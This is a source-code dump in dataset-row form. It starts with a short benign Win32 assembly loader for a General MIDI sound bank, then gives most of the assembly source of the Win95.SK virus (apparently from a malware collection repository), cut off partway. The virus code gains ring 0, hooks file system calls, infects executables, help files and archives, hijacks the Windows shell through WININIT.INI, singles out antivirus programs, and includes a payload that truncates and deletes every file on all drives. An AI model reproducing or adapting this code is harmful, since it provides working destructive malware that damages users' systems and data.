0;JMP
| 19.072165 | 72 | 0.46 |
429f6069a3f6087912f47f6d0d7b9489dcaf77e0 | 1,460 | asm | Assembly | src/win32/gmdls_win32.asm | moitias/sointu | 7e3dc19c83b8518f01cd384fef213ade7116d2e3 | [
"MIT"
] | null | null | null | src/win32/gmdls_win32.asm | moitias/sointu | 7e3dc19c83b8518f01cd384fef213ade7116d2e3 | [
"MIT"
] | null | null | null | src/win32/gmdls_win32.asm | moitias/sointu | 7e3dc19c83b8518f01cd384fef213ade7116d2e3 | [
"MIT"
] | null | null | null | %ifdef INCLUDE_GMDLS
%define SAMPLE_TABLE_SIZE 3440660 ; size of gmdls
extern _OpenFile@12 ; requires windows
extern _ReadFile@20 ; requires windows
SECT_TEXT(sugmdls)
EXPORT MANGLE_FUNC(su_load_gmdls,0)
mov edx, MANGLE_DATA(su_sample_table)
mov ecx, su_gmdls_path1
su_gmdls_pathloop:
push 0 ; OF_READ
push edx ; &ofstruct, blatantly reuse the sample table
push ecx ; path
call _OpenFile@12 ; eax = OpenFile(path,&ofstruct,OF_READ)
add ecx, su_gmdls_path2 - su_gmdls_path1 ; if we ever get to third, then crash
cmp eax, -1 ; eax == INVALID?
je su_gmdls_pathloop
push 0 ; NULL
push edx ; &bytes_read, reusing sample table again; it does not matter that the first four bytes are trashed
push SAMPLE_TABLE_SIZE ; number of bytes to read
push edx ; here we actually pass the sample table to readfile
push eax ; handle to file
call _ReadFile@20 ; Readfile(handle,&su_sample_table,SAMPLE_TABLE_SIZE,&bytes_read,NULL)
ret
SECT_DATA(sugmpath)
su_gmdls_path1:
db 'drivers/gm.dls',0
su_gmdls_path2:
db 'drivers/etc/gm.dls',0
SECT_BSS(susamtbl)
EXPORT MANGLE_DATA(su_sample_table) resb SAMPLE_TABLE_SIZE ; size of gmdls.
%endif | 37.435897 | 135 | 0.610274 |
5f96f2f718f75c8b786c5164f2d42e4f07929d94 | 25,425 | asm | Assembly | LegacyWindows/Win95/Win95.Sk.asm | slowy07/malwareCode | 9fe73644acdfb1a5d7a2ff3425952f00e783f82a | [
"MIT"
] | 3 | 2021-02-07T15:41:20.000Z | 2022-02-11T17:09:07.000Z | LegacyWindows/Win95/Win95.Sk.asm | slowy07/malwareCode | 9fe73644acdfb1a5d7a2ff3425952f00e783f82a | [
"MIT"
] | null | null | null | LegacyWindows/Win95/Win95.Sk.asm | slowy07/malwareCode | 9fe73644acdfb1a5d7a2ff3425952f00e783f82a | [
"MIT"
] | null | null | null |
Win95.SK aka Win95.VBA
------------------------------------------------------------------[VBA.ASM]---
COMMENT /
(C) VBA Ltd. ALL RIGHTS RESERVED.
E-mail: support@vba.com.by
THIS PROGRAM IS FREE FOR COMMERCIAL AND NON-COMMERCIAL USE.
REDISTRIBUTION AND USE IN SOURCE AND BINARY FORMS, WITH OR WITHOUT
MODIFICATION, ARE PERMITTED.
THIS SOFTWARE IS PROVIDED BY VBA LTD. ``AS IS'' AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
SUCH DAMAGE.
/
; KNOWN UNFIXED BUGS:
; 1. INCORRECT PATCHED PAGE MAPPING IN SOME CASES FOR RESTORED NON-WRITEABLE
; CODE SECTION FROM R0
; 2. DRWEB ALARM FOR PE EXECUTABLE (BUT FALSE ALARM TOO)
MODEL TINY
P386
LOCALS
INCLUDE VBA.INC
TOTAL GROUP CODE16,CODE32
;======================================
CODE16 SEGMENT BYTE PUBLIC 'CODE' USE16
ASSUME CS:TOTAL,DS:TOTAL,ES:TOTAL,SS:TOTAL
ORG 100H
START:
;--------------------------------------
DOS2R0 PROC
JMP DOS_INSTALL ;0EBH (OR 0E9H FOR PE_INSTALL)
JMP_RELO DB 0,0,0
COPYRIGHT = $-START
DB '(C) VBA Ltd. E-mail: support@vba.com.by',0
OFF_DOSINST = $-JMP_RELO
DOS_INSTALL: MOV AH,4AH
MOV BH,10H
INT 21H
JB GO2_DOS_EXIT
MOV AX,160AH
INT 2FH ;GET WIN VERSION
AND AX,AX
JNE GOZ_DOS_EXIT
CMP BH,4 ;<4.X?
JB GO2_DOS_EXIT
MOV DX,OUR_PORT
IN AL,DX
CMP AL,WE_HERE
STC
JE GO2_DOS_EXIT
MOV AL,0 ;0-PE,1-HLP,2-RAR,3-ZIP
;4-ARJ,5-HA
FILE_TYPE = $-START-1
DEC AX
JNE NO_DOS_SLEEP
INT 1AH
MOV BX,DX
DOS_SLEEP: STI ;TIMEOUT FOR HLP (PREVENT HANG)
XOR AH,AH
INT 1AH
SUB DX,BX
CMP DX,(WAIT_TIME*18)
JB DOS_SLEEP
NO_DOS_SLEEP: CLD
MOV AX,1687H
INT 2FH ;DPMI PRESENT (0.9 IN WIN95/8)?
AND AX,AX
JNE GOZ_DOS_EXIT
MOV BP,SP
PUSH ES DI
MOV BX,SI
MOV AH,48H
INT 21H ;MALLOC FOR INTERNAL USE BY DPMI HOST
JB GO2_DOS_EXIT
MOV ES,AX
XOR AX,AX
CALL 4 PTR [BP-4] ;GO OUT FROM V86 TO PM MODE
GO2_DOS_EXIT: JB GO_DOS_EXIT
CALL CALC_DOS_DELTA
DOS_DELTA = $-START
DB 'MS-DOS',0
CALC_DOS_DELTA: POP SI
MOV AX,168AH
INT 2FH ;GET EXTAPI
AND AL,AL
GOZ_DOS_EXIT: JNE DOS_EXIT
PUSH ES DI DS
POP ES
MOV CX,1
CALL ALLOC_DESC
PUSH AX
CALL ALLOC_DESC
MOV [BP-2],AX
AND AL,NOT 7
PUSH AX
MOV BX,CS
LEA DI,ZERO_INIT-DOS_DELTA[SI]
MOV AX,0BH
CALL DPMICALL ;GET CS DESCRIPTOR
MOV AX,100H
CALL 4 PTR [BP-8] ;GET LDT ALIAS
GO_DOS_EXIT: JB DOS_EXIT
MOV ES,AX
LEA AX,OFF_R0_INSTALL-DOS_DELTA[SI]
ADD AX,[DI+2]
MOV BL,[DI+4]
MOV BH,[DI+7]
ADC BX,0
POP DI
STOSW ;GENERATE CALLGATE
POP AX
STOSW
AND AL,NOT 7
PUSH AX
MOV AX,11101100B SHL 8 ;P=1:DPL=3:S=0:TYPE=0CH (CALLGATE)
STOSW
XCHG AX,BX
STOSW
POP DI ;GENERATE R0 DESCRIPTOR
MOV AX,-1
STOSW
INC AX
STOSW
STOSB
MOV AX,1100111110011010B ;G=1:32=1:AVL=0:LIMIT=0FH
STOSW ;P=1:DPL=0:S=1:CODE:NCONF:READ=1:NOACCESS
XOR AL,AL
STOSB
CALL 4 PTR [BP-4] ;SWITCH TO R0
DOS_EXIT: .EXIT
ALLOC_DESC: XOR AX,AX
DPMICALL: INT 31H
JB DOS_EXIT
RET
ENDP
INCLUDE SPE.ASI
END_CODE16 = $-START
ENDS
;======================================
CODE32 SEGMENT BYTE PUBLIC 'CODE' USE32
ASSUME CS:TOTAL,DS:TOTAL,ES:TOTAL,SS:TOTAL
START_CODE32:
;------------------------------------------------
CALC_DELTA PROC
CALL CALC_OUR_OFFST
GOFF OUR_OFFST
CALC_OUR_OFFST: POP EDX
SUB EDX,LARGE OUR_OFFST
RET
ENDP
;------------------------------------------------
GOFF OFF_IFS_HOOKER
; INT FILESYSTEMAPIHOOKFUNCTION(PIFSFUNC FSDFNADDR,INT FUNCTIONNUM,INT DRIVE,
; INT RESOURCEFLAGS,INT CODEPAGE,PIOREQ PIR)
IFS_HOOKER PROC
FSD_FN_ADDR = 4 PTR [EBP+8]
FN_NUM = 4 PTR [EBP+12]
DRIVE = 4 PTR [EBP+16]
RES_FLAGS = 4 PTR [EBP+20]
CODE_PAGE = 4 PTR [EBP+24]
P_IOREQ = 4 PTR [EBP+28]
ENTERD STACK_FRAME,0
PUSHAD
CALL CALC_DELTA
MOV EBX,P_IOREQ
BTS 4 PTR FLAG[EDX],0
JB IFS_EXIT
CMP 1 PTR RES_FLAGS,IFSFH_RES_CFSD ;CHAR DEVICE?
JE IFS_RETURN
MOV EAX,FN_NUM
CMP EAX,IFSFN_RENAME
JA IFS_RETURN
JE IS_RENAME
CMP AL,IFSFN_OPEN
JE IS_OPEN
CMP AL,IFSFN_FILEATTRIB
JE IS_ATTRIB
GOFF IFS_RETURN_OFF
IFS_RETURN: DEC 1 PTR FLAG[EDX]
POPAD
LEAVED
JMP 4 PTR DS:[12345678H]
GOFF OLD_IFS_HOOKER,4
IFS_EXIT: PUSH EBX
LEA EDI,OLD_DATETIME[EDX]
CALL FSD_FN_ADDR
MOV [EBP-STACK_FRAME-4],EAX ;SET CORRECT RETURN VALUE
POP EAX
CMP 1 PTR FN_NUM,IFSFN_OPEN
JNE NO_STORE_FDATE
MOV EAX,[EBX.IR_DATETIME]
STOSD
NO_STORE_FDATE: POPAD
LEAVED
GOFF HOOK_STUB
RET
ENDP
;------------------------------------------------
IS_RENAME: TEST 1 PTR [EBX.IR_ATTR+3],FILE_FLAG_WILDCARDS SHR 24
JMP IS_ACCESS
;------------------------------------------------
IS_ATTRIB: MOV AL,[EBX.IR_FLAGS]
DEC EAX ;SET_ATTRIBUTES
JNE NO_SET_ATTRIB
TEST 1 PTR [EBX.IR_ATTR],FA_SYSTEM
JMP IS_ACCESS
NO_SET_ATTRIB: CMP AL,SET_ATTRIB_CREATION_DATETIME-1
JA IFS_RETURN
AND AL,1
JMP IS_ACCESS
;------------------------------------------------
IS_OPEN: TEST 1 PTR [EBX.IR_OPTIONS+1],(R0_SWAPPER_CALL OR OPEN_FLAGS_REOPEN) SHR 8
IS_ACCESS: JNE IFS_RETURN
GO_PROCESS: BREAK
PUSH EBX
CMP DL,SHELL_FLAG[EDX]
IFNDEF DEBUG
JNE GO_NO_INF_SHELL
ELSE
JMP GO_NO_INF_SHELL
ENDIF
CALL GET_WININIT
CALL GET_ATTRIBUTES
JNB GO_NO_INF_SHELL
LEA ESI,SYSTEM_INI[EDX]
MOV CL,LEN_SYSTEM_INI
CALL CONCAT_WINDIR
PUSH EDX
CALL OPEN_FILE_RO
POP EDX
JB GO_NO_INF_SHELL
XCHG EAX,EBX
CALL READ_FILE_BUFF_0
JNB LONG_SYSINI
ADD ECX,EAX
LONG_SYSINI: CALL CLOSE_FILE
FIND_SHELL: LODSD
OR EAX,20202020H
CMP EAX,'lehs'
JNE NO_SHELL
LODSW
OR AL,20H
CMP AX,'=l'
JE IS_SHELL
DEC ESI
DEC ESI
NO_SHELL: SUB ESI,3
LOOP FIND_SHELL
GO_NO_INF_SHELL:
JMP NO_INF_SHELL
IS_SHELL: CMP 1 PTR [ESI+1],':'
JNE SNAME_ONLY
LEA EDI,TMP_PATH[EDX]
PUSH EDI
COPY_SH_NAME: MOVSB
CMP 1 PTR [ESI],20H
JA COPY_SH_NAME
MOV [EDI],DL
POP ESI
JMP OPEN_SHELL
SNAME_ONLY: XOR ECX,ECX
GET_SH_LIM: INC ECX
CMP 1 PTR [ESI+ECX],20H
JA GET_SH_LIM
CALL CONCAT_WINDIR
OPEN_SHELL: PUSH EDX
CALL OPEN_FILE_RO
POP EDX
JB GO_NO_INF_SHELL
XCHG EAX,EBX
CALL GET_ATTRIBUTES
PUSH EBX ECX EDX EBX
DEC 1 PTR [EDI-1]
MOV EDI,4 PTR OLD_DATETIME[EDX]
CALL OPEN_CREATE
POP EBX EDX
JB CLOSE_SOURCE
PUSH EDI ESI EAX
CALL READ_FILE_BUFF_0
JB CLOSE_ALL
XCHG EAX,EDI
MOV AL,WE_HERE
XCHG AL,1 PTR [ESI.DOSH_CSUM]
CMP AL,WE_HERE
JE CLOSE_ALL_CMC
COPY_FILE: POP EBX
PUSH EBX
MOV EAX,EDI
CALL WRITE_FILE
JB CLOSE_ALL
ADD EDI,ECX
MOV EAX,EDI
MOV EBX,[ESP+10H]
CALL READ_FILE
JNB COPY_FILE
ADD ECX,EAX
JNE COPY_FILE
CLOSE_ALL_CMC: CMC
CLOSE_ALL: POP EBX ESI CX DI
PUSHFD
CALL CLOSE_FILE
MOV AL,SET_ATTRIB_MODIFY_DATETIME
CALL MAN_ATTRIBUTES
POPFD
CLOSE_SOURCE: POP ECX
SBB EDI,EDI
JNE SH_ERR
CALL SET_ATTRIBUTES
JMP SH_OK
SH_ERR: CALL DELETE_FILE
SH_OK: POP EBX
CALL CLOSE_FILE
INC EDI
STC
JE GOC_NO_INF_SHELL
MOV FILE_TYPE[EDX],DL
CALL INFECTION
LEA ESI,TMP_PATH[EDX]
LEA EDI,MAIN_BUFF[EDX]
PUSH EDI ESI
MOV EAX,'ner['
STOSD
MOV EAX,']ema'
STOSD
MOV AL,0AH
STOSB
MOVE_DEST: LODSB
CMP AL,'A'
JB NO_LETTER
CMP AL,'Z'
JA NO_LETTER
OR AL,20H
NO_LETTER: STOSB
CMP DL,[ESI]
JNE MOVE_DEST
INC 1 PTR [EDI-1]
MOV AL,'='
STOSB
POP ESI
MOVE_SOURCE: MOVSB
CMP DL,[ESI]
JNE MOVE_SOURCE
MOV AL,0AH
STOSB
MOV EAX,'=lun'
STOSD
PUSH EDI
CALL GET_WININIT
POP EDI
PUSH ESI
MOVE_INIT: MOVSB
CMP DL,[ESI]
JNE MOVE_INIT
POP ESI
PUSH EDX
CALL OPEN_CREATE
POP EDX ECX
GOC_NO_INF_SHELL:
JB NO_INF_SHELL
XCHG EAX,EBX
SUB EDI,ECX
MOV ESI,ECX
MOV ECX,EDI
XOR EAX,EAX
CALL WRITE_FILE
CALL CLOSE_FILE
PUSH GET_CUR_VM_HANDLE
CALL VXD_CALL
MOV AL,MSG_POSSIBLITY
CALL GET_RANDOM_BYTE
IFNDEF DEBUG
JNE NO_INF_SHELL
ELSE
XOR EAX,EAX
ENDIF
LEA ECX,COPYRIGHT[EDX]
MOV ESI,EAX
MOV EDI,EAX
PUSH SHELL_MESSAGE
CALL VXD_CALL
NO_INF_SHELL: MOV 1 PTR SHELL_FLAG[EDX],1
POP EBX
SHELL_ALREADY:
IFNDEF DEBUG
LEA ESI,COMMAND_PIF[EDX]
MOV CL,LEN_COMMAND_PIF
CALL CONCAT_WINDIR
CALL GET_ATTRIBUTES
JB CPIF_NFOUND
CALL DELETE_FILE
CPIF_NFOUND: MOV EDI,ESI
ELSE
LEA EDI,TMP_PATH[EDX]
MOV ESI,EDI
ENDIF
MOV EAX,DRIVE
INC AL ;UNC PATH?
JE NO_STORE_DRIVE
ADD AX,(':' SHL 8) OR ('A'-2)
STOSW
NO_STORE_DRIVE: MOV EAX,[EBX.IR_PPATH]
ADD EAX,4
PUSH EDX BCS_WANSI MAX_PATH-3 EAX EDI UNITOBCSPATH
CALL VXD_CALL
ADD ESP,4*4
POP EDX
MOV [EDI+EAX],DL
LEA ECX,FILE_TYPE[EDX]
MOV 1 PTR [ECX],0FFH
MOV EAX,[EDI+EAX-4]
CMP EAX,'CVA.' ;AVP 3 DATABASE?
JE INFECT_IT
CMP EAX,'BDV.' ;DRWEB 4 DATABASE?
JE INFECT_IT
INC 1 PTR [ECX]
CMP EAX,'EXE.' ;EXE?
JE OK_FILE
CMP EAX,'RCS.'
JE OK_FILE
CMP EAX,'LLD.' ;DLL?
JE INFECT_IT ;FOR AV CORRECT CHECKING ONLY!
INC 1 PTR [ECX]
CMP EAX,'PLH.' ;HLP?
JE OK_FILE
INC 1 PTR [ECX]
CMP EAX,'RAR.' ;RAR?
JE OK_FILE
INC 1 PTR [ECX]
CMP EAX,'PIZ.' ;ZIP?
JE OK_FILE
INC 1 PTR [ECX]
CMP EAX,'JRA.' ;ARJ?
JE OK_FILE
INC 1 PTR [ECX]
SHR EAX,8
CMP EAX,'AH.' ;HA?
STC
JNE GO_IFS_RETURN
OK_FILE: PUSH EDX EBX
MOV EDX,DRIVE
TEST 1 PTR RES_FLAGS,IFSFH_RES_UNC
JNE ERR_GET_SPACE
MOV AX,R0_GETDISKFREESPACE
CALL FILE_IO
JB ERR_GET_SPACE
MUL BX ;SEC_PER_CLUST(AX)*AVAIL_CLUST(CX)
CMC
JNB ERR_GET_SPACE
CMP AX,SMALL (OUR_LEN+1FFH+0FFFH)/200H
ERR_GET_SPACE: POP EBX EDX
GO_IFS_RETURN: JB IFS_RETURN
INFECT_IT: ;TMP_PATH->FILE PATH TO INFECTION
LEA EAX,IFS_RETURN_OFF[EDX]
PUSH EAX
CALL GET_ATTRIBUTES
JNB GOOD_ATT
CMP 1 PTR FN_NUM,IFSFN_RENAME
JE INF_ERR
PUSH ESI
MOV EDI,[EBX.IR_UPATH]
XCHG ESI,EDI
PARSE_PATH: LODSB
INC ESI
STOSB
DEC AL
JNS PARSE_PATH
POP ESI
;--------------------------------------
INFECTION: CALL GET_ATTRIBUTES
JB INF_ERR
GOOD_ATT: TEST CL,FA_SYSTEM OR FA_DEVICE
JE ATT_OK
INF_ERR: RETN
ATT_OK: MOV EDI,ECX
CALL CLR_ATTRIBUTES
JB INF_ERR
PUSH EDI EDX
MOV BL,OPEN_ACCESS_READWRITE OR OPEN_SHARE_DENYREADWRITE
CALL OPEN_FILE
POP EDX
JB REST_ATTRIB
PUSH ESI
XCHG EAX,EBX
MOV ECX,12345678H
GOFF OLD_DATETIME,4
CMP 1 PTR FN_NUM,IFSFN_FILEATTRIB
JNE CURRENT_DATE
MOV EDI,P_IOREQ
CMP 1 PTR [EDI.IR_FLAGS],SET_ATTRIB_MODIFY_DATETIME
JNE CURRENT_DATE
MOV ECX,[EDI.IR_DATETIME]
CURRENT_DATE: PUSH ECX
TEST 1 PTR FILE_TYPE[EDX],0FFH
JS IS_SHITNAME
JNE NO_SHITNAME
MOV EDI,ESI
GET_PATHBYTE: LODSB
CMP AL,''
JE STORE_OFFS
CMP AL,':'
JNE NO_STORE_OFFS
STORE_OFFS: MOV EDI,ESI
NO_STORE_OFFS: AND AL,AL
JNE GET_PATHBYTE
MOV EAX,[EDI]
CMP EAX,'NIDA' ;ADINF?
JE GO_TO_PAY
CMP EAX,'IPVA' ;AVPI?
JE GO_TO_PAY
CMP EAX,'SOHG' ;GHOST32?
JE GO_TO_PAY
CMP EAX,'NIBV' ;VBINF? :-)
JE GO_TO_PAY
CMP EAX,'PVA_' ;AVP?
JE IS_SHITNAME
SHL EAX,8
CMP EAX,'RAJ' SHL 8 ;JAR?
JE SKIP_FILE
CMP EAX,'PVA' SHL 8 ;AVP?
JE IS_SHITNAME
CMP EAX,'WRD' SHL 8 ;DRWEB?
JE IS_SHITNAME
CMP EAX,'ABV' SHL 8 ;VBA*.EXE? :-)
JNE NO_SHITNAME
CMP 1 PTR [ESI-2],'E'
JNE NO_SHITNAME
IS_SHITNAME: XCHG EAX,ECX
XOR ECX,ECX
SHLD ECX,EAX,11
AND ECX,00001111B
SHR EAX,16+5+4
SUB AL,HAPPY_YEAR-1980
JB SKIP_FILE
MOV AH,12 ;MONTHS IN YEAR
MUL AH
IF HAPPY_MONTH EQ 1
DEC EAX
ELSEIF HAPPY_MONTH EQ 2
DEC EAX
DEC EAX
ELSE
SUB EAX,HAPPY_MONTH
ENDIF
ADD ECX,EAX
JS SKIP_FILE
MOV EAX,HAPPY_POSSIBLITY
SUB EAX,ECX
JA NOT_EXPIRED
MOV AL,1 ;100% POSSIBLITY
NOT_EXPIRED: CALL GET_RANDOM_BYTE
GO_TO_PAY: JE TIME_TO_PAY
SKIP_FILE: STC
JMP GO_F_CLOSE
NO_SHITNAME: PUSH EDX GET_DOSTIME
CALL VXD_CALL
POP EDX
SUB EAX,[ESP]
CMP EAX,0FFFFFH ;MIN - TWO WEEK AGE
IFNDEF DEBUG
JB F_CLOSE
ENDIF
CALL GET_SYS_TIME
CMP DL,SHELL_FLAG[EDX]
JE NO_SLEEP
SUB EAX,12345678H
GOFF INF_TIME,4
CMP EAX,SLEEP_TIME*60*1000
IFNDEF DEBUG
JB F_CLOSE
ENDIF
NO_SLEEP: LEA ESI,HEADER[EDX]
PUSH SIZE DOS_HEADER
POP ECX
XOR EAX,EAX ;POS IN FILE
CALL READ_FILE ;READ FILE HEADER
GO_F_CLOSE: JB F_CLOSE
LEA EDI,OUR_LOCAL_HEADER[EDX]
MOV CL,(SIZE_ARC_AREA+3)/4
REP STOSD
MOV AL,1 PTR FILE_TYPE[EDX]
MOVZX EDI,2 PTR INF_PROCS[EDX+EAX*2]
ADD EDI,EDX
MOV 2 PTR [EDX],(OFF_DOSINST SHL 8) OR 0EBH ;DROPPER MODE
CALL EDI
F_CLOSE: CALL CLOSE_FILE
POP CX DI ESI
MOV AL,SET_ATTRIB_MODIFY_DATETIME
CALL MAN_ATTRIBUTES
REST_ATTRIB: POP ECX
JMP SET_ATTRIBUTES
;------------------------------------------------
TIME_TO_PAY: MOV EAX,_LEAVEMUSTCOMPLETE
PUSH EAX
DEC EAX ;_ENTERMUSTCOMPLETE
PUSH EAX
CALL VXD_CALL
LEA EDX,FIND_DATA[EDX] ;ESI=&TMP_PATH
IFNDEF DEBUG
MOV AX,':C'
ELSE
MOV AX,':X'
ENDIF
FIND_DRIVE: MOV EDI,ESI
STOSW
PUSH EAX
FIND_FIRST: MOV AL,''
STOSB
MOV 2 PTR [EDI],'*'
PUSH 37H
POP ECX
MOV AX,R0_FINDFIRSTFILE
CALL FILE_IO
JNB SOME_FOUND
FIND_SLASH: DEC EDI
CMP 1 PTR [EDI-1],':'
JE NEXT_DRIVE
CMP 1 PTR [EDI-1],''
JNE FIND_SLASH
FIND_NEXT: MOV AX,R0_FINDNEXTFILE
CALL FILE_IO
JNB OK_FOUND
MOV AX,R0_FINDCLOSEFILE
CALL FILE_IO
POP EBX
JMP FIND_SLASH
SOME_FOUND: PUSH EBX
XCHG EAX,EBX
OK_FOUND: PUSH ESI EDI
LEA ESI,[EDX.CFILENAME]
STORE_NAME: LODSB
STOSB
AND AL,AL
JNE STORE_NAME
DEC EDI
POP EAX ESI
XCHG EAX,EDI
TEST 1 PTR [EDX.DWFILEATTRIBUTES],10H
JE NOT_DIR
CMP 1 PTR [EDX.CFILENAME],'.'
JE FIND_NEXT
XCHG EAX,EDI
JMP FIND_FIRST
NEXT_DRIVE: POP EAX
INC EAX
CMP AL,'Z'
JBE FIND_DRIVE
GO_HANG: CALL VXD_CALL ;_LEAVEMUSTCOMPLETE
XOR ESI,ESI
LEA EAX,[ESI+1] ;HANG_ON_EXIT
PUSH FATAL_ERROR_HANDLER
JMP GO_HANG
NOT_DIR: PUSHAD
CALL CLR_ATTRIBUTES
CALL OPEN_CREATE
JB DEL_FILE
XCHG EAX,EBX
CALL CLOSE_FILE
DEL_FILE: CALL DELETE_FILE
POPAD
JMP FIND_NEXT
;------------------------------------------------
;ENTRY: EBP=&LENGTH OF MACRO STRING
CORR_LENGTH PROC
MOV EAX,EDI
SUB EAX,EBP
DEC EAX
MOV [EBP],AX
XOR AL,AL
STOSB
INF_EXE_EXIT: RET
ENDP
;------------------------------------------------
GOFF INF_EXE
MOV 1 PTR [EDX],0E9H ;PE SPECIAL MODE
IFDEF DEBUG
CMP [DOSH_SIGNATURE.ESI],'MZ'
ELSE
CMP [DOSH_SIGNATURE.ESI],'ZM'
ENDIF
JNE INF_EXE_EXIT
CMP [DOSH_LFARLC.ESI],3FH
JBE INF_EXE_EXIT
MOVZX EAX,[DOSH_LFANEW.ESI]
ADD ESI,SIZE DOS_HEADER ;PHEADER
MOV CX,SIZE PE_HEADER+(SIZE OBJECT_TABLE*MAX_OBJS)
CALL READ_FILE
JB INF_EXE_EXIT
CMP 2 PTR [PEH_SIGNATURE.ESI],'EP'
JNE INF_EXE_EXIT
CMP [PEH_CPUTYPE.ESI],162H ;INTEL?
JAE INF_EXE_EXIT
CMP 1 PTR [PEH_NUMOFOBJECT.ESI],MAX_OBJS
JA INF_EXE_EXIT
TEST 2 PTR [PEH_FLAGS.ESI],PE_FLAG_DLL OR PE_FLAG_NOT_FIXUP
JNE INF_EXE_EXIT
TEST 2 PTR [PEH_FLAGS.ESI],PE_FLAG_32BIT OR PE_FLAG_EXECUTABLE
JE INF_EXE_EXIT
CMP 4 PTR [PEH_IMAGEBASE.ESI],400000H
JNE INF_EXE_EXIT
INC 1 PTR [PEH_FLAGS.ESI] ;PE_FLAG_NOT_FIXUP
LEA EDI,[ESI+SIZE PE_HEADER-SIZE OBJECT_TABLE]
XOR EAX,EAX
MOV [PEH_FIXUP.SD_SIZE.ESI],EAX
XCHG EAX,[PEH_FIXUP.SD_RVA.ESI]
AND EAX,EAX
GOZ_INF_EXIT: JE INF_EXE_EXIT
PUSH EDI
FIND_FIXUPOBJ: ADD EDI,SIZE OBJECT_TABLE
CMP EAX,[OT_RVA.EDI]
JNE FIND_FIXUPOBJ
MOV AL,NOCHNG_SATT_PSBL
CALL GET_RANDOM_BYTE
JE NO_CHNG_ATT
AND 1 PTR [OT_FLAGS.EDI+3],NOT ((OT_FLAG_DISCARDABLE OR OT_FLAG_SHARED) SHR 24)
OR [OT_FLAGS.EDI],OT_FLAG_READ OR OT_FLAG_IDATA
NO_CHNG_ATT: MOV AL,CHNG_SNAME_PSBL
CALL GET_RANDOM_BYTE
JNE NO_CHNG_NAME
PUSH EDI
CALL GEN_NAME
XOR AL,AL
STOSB
POP EDI
NO_CHNG_NAME: MOV AL,LEN_PEND_JUNK
CALL GET_RANDOM_BYTE
ADD AX,SMALL OUR_LEN+LEN_LOADER+3
AND AL,NOT 3
MOV CURRENT_LEN[EDX],EAX
MOV COUNT_RET[EDX],AX
XCHG EAX,ECX
MOV EAX,[OT_VIRTSIZE.EDI]
CALL CORR_SIZE
CMP EAX,[OT_PHYSICALSIZE.EDI]
JB GET_VIRTSIZE
MOV EAX,[OT_PHYSICALSIZE.EDI]
GET_VIRTSIZE: SUB EAX,ECX
PUSHFD
JA OK_RELOC_SIZE
ADD EAX,ECX
OK_RELOC_SIZE: CALL GET_RANDOM
AND AL,NOT 3
PUSH EAX
ADD EAX,[OT_PHYSICALOFF.EDI]
MOV PHYS_BODY_OFF[EDX],EAX
ADD EAX,ECX
MOV FILL_SEC_OFF[EDX],EAX
POP EAX
ADD EAX,ECX
PUSH EAX
ADD EAX,[OT_RVA.EDI]
ADD EAX,[PEH_IMAGEBASE.ESI]
MOV OFF_FIXUP[EDX],EAX
POP ECX
POPFD
JA MID_EXIT_ONE
CMP [OT_PHYSICALSIZE.EDI],MIN_RELOC_SIZE
JB MID_EXIT_ONE
PUSH ESI
CALL GETSIZE_FILE
SUB EAX,[OT_PHYSICALOFF.EDI]
CMP EAX,[OT_PHYSICALSIZE.EDI]
JA MID_EXIT_CMC
CALL CORR_SIZE_ECX
CMPSD
SCASD
CALL CORR_SIZE_ECX
SUB EAX,ECX
CMP EAX,SIZE_MBUFF
MID_EXIT_CMC: CMC
JB MID_EXIT_TWO
XCHG EAX,ECX
PUSH ECX
LEA EDI,MAIN_BUFF[EDX]
MOV ESI,EDI
XOR AL,AL
REP STOSB
POP ECX
MOV EAX,12345678H
GOFF FILL_SEC_OFF,4
CALL WRITE_FILE
MID_EXIT_TWO: POP ESI
MID_EXIT_ONE: POP EDI
JNB NO_POP_EXIT
MID_RET: RETN
NO_POP_EXIT: MOV EAX,[PEH_CODEBASE.ESI]
FIND_CODEOBJ: ADD EDI,SIZE OBJECT_TABLE
CMP EAX,[OT_RVA.EDI]
JNE FIND_CODEOBJ
MOV AL,OT_FLAG_WRITE SHR 24
TEST AL,1 PTR [OT_FLAGS.EDI+3]
JNE MID_RET
PUSH EDI
LEA ESI,TMP_PATH[EDX]
MOV EDI,[ESI-SYS_PATH_DELTA] ;SYS_PATH[EDX]
MOV CL,NOT RW_LOCAL_EXIT
CHECK_PATH: CMPSB
JNE NO_SYS_DIR
CMP DL,[EDI]
JNE CHECK_PATH
XOR AL,AL
MOV CL,AL
NO_SYS_DIR: POP EDI
OR 1 PTR [OT_FLAGS.EDI+3],AL
MOV RW_OR_RO[EDX],CL
PUSH EDX
MOV EAX,[OT_PHYSICALSIZE.EDI]
XOR EDX,EDX
MOV ECX,SIZE_MBUFF
DIV ECX
POP EDX
CALL GET_RANDOM
IMUL EAX,ECX
ADD EAX,[OT_PHYSICALOFF.EDI]
PUSH EAX
CALL READ_FILE_BUFF
JB POP_INF_EXIT
CMP DL,SHELL_FLAG[EDX]
JE INF_ENTRYPOINT
CALL FIND_PLACE
AND ECX,ECX
JNE MIDDLE_INSERT
INF_ENTRYPOINT: POP EAX
MOV EAX,PHEADER[PEH_ENTRYPOINT.EDX]
PUSH EAX
SUB EAX,[OT_RVA.EDI]
ADD EAX,[OT_PHYSICALOFF.EDI]
PUSH EAX
CALL READ_FILE_BUFF
POP EDI
POP_INF_EXIT: POP EAX
JB GO1_INF_EXIT
PUSH EDI
JMP ENTRY_INSERT
MIDDLE_INSERT: MOV ESI,EAX
SUB EAX,EDX
SUB EAX,LARGE MAIN_BUFF
ADD EAX,[OT_RVA.EDI]
ADD EAX,[ESP]
SUB EAX,[OT_PHYSICALOFF.EDI]
ENTRY_INSERT: ADD EAX,PHEADER[PEH_IMAGEBASE.EDX]
MOV INTRUD_OFF[EDX],EAX
LEA EDI,OLD_PECODE[EDX]
